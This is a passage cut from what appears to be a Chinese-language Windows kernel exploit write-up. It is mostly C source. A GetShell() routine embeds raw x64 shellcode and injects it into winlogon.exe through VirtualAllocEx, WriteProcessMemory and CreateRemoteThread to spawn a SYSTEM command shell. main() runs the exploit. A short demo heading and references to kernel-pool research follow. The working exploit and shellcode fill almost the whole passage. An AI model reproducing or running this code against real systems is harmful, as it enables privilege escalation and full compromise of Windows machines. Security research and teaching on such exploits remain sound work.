ZwQuerySystemInformation = (ZwQuerySystemInformation_t)GetProcAddress(hNt, "NtQuerySystemInformation");
if (ZwQuerySystemInformation == 0) {
printf("[Error_%d] Init(): GetProcAddress failed.\n", __LINE__);
return FALSE;
}
NtAllocateVirtualMemory = (NtAllocateVirtualMemory_t)GetProcAddress(hNt, "NtAllocateVirtualMemory");
if (NtAllocateVirtualMemory == 0) {
printf("[Error_%d] Init(): GetProcAddress failed.\n", __LINE__);
return FALSE;
}
return TRUE;
}
void GetShell()
{
HANDLE hSystemProcess = INVALID_HANDLE_VALUE;
PVOID pLibRemote;
HMODULE hKernel32 = GetModuleHandle(L"Kernel32");
DWORD processID;
unsigned char shellcode[] =
"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52"
"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48"
"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9"
"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41"
"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48"
"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01"
"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48"
"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0"
"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c"
"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0"
"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04"
"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59"
"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00"
"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f"
"\x87\xff\xd5\xbb\xe0\x1d\x2a\x0a\x41\xba\xa6\x95\xbd\x9d\xff"
"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb"
"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x63\x6d\x64"
"\x00";
if ((processID = getProcessId(L"winlogon.exe")) == 0)
{
printf("[Error_%d] Couldn't retrieve process ID...\n",__LINE__);
return;
}
printf("[+] Retrieved process id: %d\n", processID);
hSystemProcess = OpenProcess(GENERIC_ALL, false, processID);
if (hSystemProcess == INVALID_HANDLE_VALUE || hSystemProcess == (HANDLE)0)
{
printf("[Error_%d] Couldn't open system process...\n",__LINE__);
return;
}
printf("[+] Got a handle on a system Process: %08p\n", hSystemProcess);
pLibRemote = VirtualAllocEx(hSystemProcess, NULL, sizeof(shellcode) * 2, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (!pLibRemote)
{
printf("[Error_%d] Virtual alloc failed !\n",__LINE__);
return;
}
printf("[+] Allocation in system process succeded with address %08p\n", pLibRemote);
if (!WriteProcessMemory(hSystemProcess, pLibRemote, shellcode, sizeof(shellcode), NULL))
{
printf("[Error_%d] WriteProcessMemory failed !\n",__LINE__);
return;
}
HANDLE hThread = CreateRemoteThread(hSystemProcess, NULL, 0, (LPTHREAD_START_ROUTINE)pLibRemote, NULL, 0, NULL);
printf("[+] Writing in system process succeded\n");
if (hThread == NULL) {
printf("[Error_%d] CreateRemoteThread failed !\n",__LINE__);
return;
}
else
printf("[+] Remote thread created !\n");
CloseHandle(hSystemProcess);
}
int main(int argc, char* argv[]) {
if (Init()) {
Exploit();
}
system("pause");
return 0;
}
■ 演示
0x5 参考
[1] https://www.anquanke.com/post/id/86557
[2] http://www.mista.nu/research/MANDT-kernelpool-PAPER.pdf – Tarjei Mandt paper
|